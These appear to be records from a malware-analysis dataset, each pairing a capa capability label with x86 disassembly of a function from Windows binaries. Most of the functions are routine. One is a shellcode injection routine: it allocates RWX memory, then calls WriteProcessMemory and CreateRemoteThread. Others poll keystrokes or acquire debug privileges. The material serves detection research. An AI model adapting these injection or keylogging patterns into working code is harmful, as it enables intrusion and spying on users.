joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410582
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f664]
jne 0x41058c
repz ret
jmp fcn.004154a5

Function at 0x420539
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42f664]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004193df
and dword [ebp - 0x14], 0
cmp dword [0x68bbbc], 0
mov dword [ebp - 0x18], eax
jne 0x4205ec
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x420694
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x420694
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x68bbbc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x68bbc0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x68bbc4], eax
call edi
push eax
call esi
mov dword [0x68bbcc], eax
test eax, eax
je 0x4205ec
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x68bbc8], eax
mov eax, dword [0x68bbc8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x420645
cmp dword [0x68bbcc], ecx
je 0x420645
push eax
call esi
push dword [0x68bbcc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x420645
test ebx, ebx
je 0x420645
call edi
test eax, eax
je 0x42063c
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x42063c
test byte [ebp - 8], 1
jne 0x420645
or dword [ebp + 0x10], 0x200000
jmp 0x420678
mov eax, dword [0x68bbc0]
cmp eax, dword [ebp - 0x18]
je 0x420678
push eax
call esi
test eax, eax
je 0x420678
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x420678
mov eax, dword [0x68bbc4]
cmp eax, dword [ebp - 0x18]
je 0x420678
push eax
call esi
test eax, eax
je 0x420678
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x68bbbc]
call esi
test eax, eax
je 0x420694
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x420696
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00410582
leave
ret
Function at 0x10001010
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Create thread
Execute shellcode via indirect call
Get hostname
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push str.msvcrt.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x10001045
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001188
mov esp, ebp
pop ebp
ret
push 0x104
lea eax, [ebp - 0x214]
mov dword [ebp - 0x218], 0x104
push 0
push eax
call fcn.10002180
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
xor eax, eax
nop dword [eax + eax]
mov cl, byte [eax + str.free_]
test cl, cl
je 0x10001097
mov byte [ebp + eax - 0x110], cl
inc eax
cmp eax, 5
jb 0x10001080
mov byte [ebp + eax - 0x110], 0
lea eax, [ebp - 0x110]
cmp byte [ebp - 0x110], 0
je 0x100010b6
nop
inc eax
cmp byte [eax], 0
jne 0x100010b0
mov cl, byte [ebp - 0x214]
lea edx, [ebp - 0x214]
sub edx, eax
mov byte [eax], cl
lea eax, [eax + 1]
mov cl, byte [edx + eax]
test cl, cl
jne 0x100010c4
mov byte [eax], cl
lea eax, [ebp - 0x110]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1000116d
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1000116c
push edi
push 0x40
push 0x3000
push 0x7a0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x1000116b
push 0
push 0x7a0
push 0x100138b0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1000116b
push 0
push 0
push 0
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x1000116b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x186a0
call esi
jmp 0x10001162
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.10001188
mov esp, ebp
pop ebp
ret

Function at 0x100044c7
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10004506
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10004506
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10004506
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10004506
cmp dword [ecx + 0x74], 0xe
jbe 0x10004506
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1000718f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000722c
push ebx
push esi
call fcn.10007158
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.100070ec
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100071d9
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000722b
push edi
push eax
call fcn.1000814a
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100071f9
call fcn.10005c34
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000722a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.100070ec
add esp, 0x20
test eax, eax
jne 0x10007218
push edi
call fcn.10005c34
jmp 0x10007220
push ebx
call fcn.10005c34
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10007499
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000e508
push 0x1000e500
push str.FlsAlloc
push 0x1f
call fcn.100073b5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100074cd
push dword [ebp + 8]
mov ecx, esi
call dword [0x1000d128]
call esi
jmp 0x100074d3
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10007517
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000e518
push 0x1000e510
push str.FlsGetValue
push 0x21
call fcn.100073b5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000754e
push dword [ebp + 8]
mov ecx, esi
call dword [0x1000d128]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10007556
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1000e520
push 0x1000e518
push str.FlsSetValue
push 0x22
call fcn.100073b5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10007590
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1000d128]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1000cc10
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000cc3d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000cc3d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10020f1a
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10020f61
lea eax, [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x10020f57
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov eax, dword [eax]
and dword [eax + 0xc], 0
jmp 0x10020f5f
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x10020f92
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
push 0x57c4
push 0x5a73
push 0x2954
push 1
push 0x2fb
push 0x469d
push dword [ebp - 0x14]
push 0x65df
call fcn.10016040
add esp, 0x20
mov esp, ebp
pop ebp
ret
Function at 0x10022cfd
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10022d5e
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x10022d2b
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
jmp 0x10022d5c
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x10022d5c
push 0
push 0xaef
push 0
push 0x183f
push 0
push 0x894
call dword [sym.imp.USER32.dll_DrawTextExW]
jmp 0x10022d8d
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x14], eax
push 0x30b1
push 0x3a17
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
push 0
call fcn.1001dd41
add esp, 0x18
mov esp, ebp
pop ebp
ret
Function at 0x10022ea6
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push esi
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10022f25
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x28], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x10022efe
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [eax]
test eax, eax
je 0x10022efc
push 0x18db
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x10022f20
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x10023000
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x44], eax
lea eax, [ebp + 0x28]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x3c]
movzx eax, byte [eax]
test eax, eax
je 0x10022fdf
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
mov esi, dword [eax]
push 1
mov ecx, dword [ebp - 4]
call fcn.10010682
cmp esi, dword [eax]
jle 0x10022f91
mov dword [ebp - 8], 1
jmp 0x10022f95
and dword [ebp - 8], 0
cmp dword [ebp - 8], 1
jge 0x10022fb3
push 1
mov ecx, dword [ebp - 4]
call fcn.10010682
cmp dword [eax], 0
je 0x10022fb3
mov dword [ebp - 0xc], 1
jmp 0x10022fb7
and dword [ebp - 0xc], 0
push 1
mov ecx, dword [ebp - 4]
call fcn.10010682
mov eax, dword [eax]
cmp eax, dword [ebp - 0xc]
je 0x10022fd1
mov dword [ebp - 0x10], 1
jmp 0x10022fd5
and dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
jmp 0x10023000
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
movzx eax, byte [eax]
test eax, eax
je 0x10023000
push 0x1f96
call dword [sym.imp.KERNEL32.dll_Sleep]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10025490
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x100254d0
lea eax, [ebp + 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x100254c6
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x100254c4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
jmp 0x100254ce
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x100254f6
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
push dword [ebp - 0xc]
push 0x59b6
push 0
push 0x6941
push dword [ebp - 0x10]
call fcn.10021f75
add esp, 0x14
mov esp, ebp
pop ebp
ret

Function at 0x10027566
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x100275c3
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
lea eax, [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x10027594
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
jmp 0x100275c1
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x100275c1
push 0
push 0xde6
push 0x22a5
push 0x66f
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
jmp 0x100275dc
push 1
push 0x1091
push 0xd2e
push 0x6954
call fcn.10021c7a
add esp, 0x10
mov esp, ebp
pop ebp
ret
Function at 0x1002ae8d
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1002aecc
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0xc], eax
push 0x7ae6
push 1
push dword [ebp - 8]
push dword [ebp - 0xc]
push 0x2c0a
push dword [ebp - 0x10]
call fcn.1002af26
add esp, 0x18
jmp 0x1002af22
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x24], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x1002af0b
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
movzx eax, byte [eax]
test eax, eax
je 0x1002af09
push 0x187a
call dword [sym.imp.USER32.dll_GetKeyState]
jmp 0x1002af22
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov esp, ebp
pop ebp
ret
Function at 0x100405d7
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
call fcn.100405c9
test al, al
je 0x10040609
mov ecx, edx
call fcn.100405c9
test al, al
je 0x10040609
mov ecx, dword [ebp + 8]
call fcn.100405c9
test al, al
je 0x10040609
mov ecx, dword [ebp + 0xc]
call fcn.100405c9
test al, al
jne 0x1004060c
pop esi
pop ebp
ret
push dword [ebp + 0xc]
push dword [ebp + 8]
push edx
push esi
push 0x1000b804
call fcn.10057af6
add esp, 0x14
push 0
call fcn.1005b0a4
int3
Function at 0x1006cfa3
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10079760]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.1005e018
mov dword [ebp - 0x14], eax
cmp dword [0x106666d0], esi
jne 0x1006d096
push 0x800
push esi
push 0x1000b050
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x1006d023
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1006d176
push esi
push esi
push 0x1000b050
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x1006d176
push 0x1000b068
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1006d176
push eax
call ebx
push 0x1000b074
push edi
mov dword [0x106666d0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x1000b084
push edi
mov dword [0x106666d4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x1000b098
push edi
mov dword [0x106666d8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x106666e0], eax
test eax, eax
je 0x1006d093
push 0x1000b0b4
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x106666dc], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1006d0bb
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1006d0ae
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1006d0d0
push 4
pop eax
jmp 0x1006d178
cmp dword [ebp - 0x14], esi
je 0x1006d0d0
push dword [0x106666d0]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x1006d0b5
mov eax, dword [0x106666dc]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x1006d12e
cmp dword [0x106666e0], edi
je 0x1006d12e
push eax
call ebx
push dword [0x106666e0]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1006d12e
test eax, eax
je 0x1006d12e
call ecx
test eax, eax
je 0x1006d123
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1006d123
test byte [ebp - 8], 1
jne 0x1006d12e
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1006d15e
mov eax, dword [0x106666d4]
cmp eax, edi
je 0x1006d15b
push eax
call ebx
test eax, eax
je 0x1006d15b
call eax
mov esi, eax
test esi, esi
je 0x1006d15b
mov eax, dword [0x106666d8]
cmp eax, edi
je 0x1006d15b
push eax
call ebx
test eax, eax
je 0x1006d15b
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x106666d0]
call ebx
test eax, eax
je 0x1006d176
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x1006d178
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005b7fc
mov esp, ebp
pop ebp
ret
Function at 0x413141
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push 8
call fcn.004187eb
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.004187eb
add esp, 4
mov dword [ebp - 0x14], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x18], 0
push 0x10
call fcn.004187eb
add esp, 4
mov dword [ebp - 0x1c], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x20], esp
mov eax, 0x70
call fcn.004187fd
cmp dword [ebp - 0x20], esp
je 0x413208
push 0x19
push 0x401c2fb
push 6
call fcn.004187f7
add esp, 0xc
mov dword [ebp - 0x24], eax
stc
jb 0x41320f
jnp 0x45cb0e59
mov eax, dword [ebp - 0x24]
mov dword [ebp - 4], eax
cld
stc
jb 0x413219
xchg byte [eax + str.SeDebugPrivilege], bh
mov eax, str.SeDebugPrivilege
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41322f
push ebx
call fcn.004187f1
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x20], esp
jmp 0x413239
lea eax, [ebp - 0xc]
push eax
push 0x28
push dword [ebp - 4]
mov eax, 0x71
call fcn.004187fd
cmp dword [ebp - 0x20], esp
je 0x41326b
push 0x5d
push 0x401c2fb
push 6
call fcn.004187f7
add esp, 0xc
mov dword [ebp - 0x20], esp
jmp 0x413271
push dword [ebp - 0x10]
push dword [ebp - 8]
push 0x4e1cb3
mov eax, 0x72
call fcn.004187fd
cmp dword [ebp - 0x20], esp
je 0x4132a2
push 0x87
push 0x401c2fb
push 6
call fcn.004187f7
add esp, 0xc
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 0x20], ebx
stc
jb 0x4132ac
jnp 0x409130e
mov ebx, dword [ebp - 0x20]
mov dword [ebx], 1
add dword [eax], eax
add byte [eax], al
mov ebx, dword [ebp - 0x14]
add ebx, 8
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x24], ebx
call fcn.004132cc
Function at 0x424390
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4d33cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004c724c
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x424412
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004c404e
mov eax, dword [eax]
push 0x5a5d0c
push eax
call fcn.004b5cb4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004c74d7
test bl, bl
je 0x424412
push 0x5a5d0c
lea ecx, [esp + 0xc]
call fcn.004c7867
push 0x5a5d18
lea ecx, [esp + 0xc]
call fcn.004c7867
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x42444e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004c74d7
jmp 0x424519
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4244d2
lea edx, [esp + 0x7c]
push 0x5a5d14
push edx
call fcn.004b5cb4
add esp, 8
test eax, eax
je 0x4244d2
lea eax, [esp + 0x7c]
push 0x5a5d10
push eax
call fcn.004b5cb4
add esp, 8
test eax, eax
je 0x4244d2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x424462
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004c74d7
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x424d40
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x424da2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc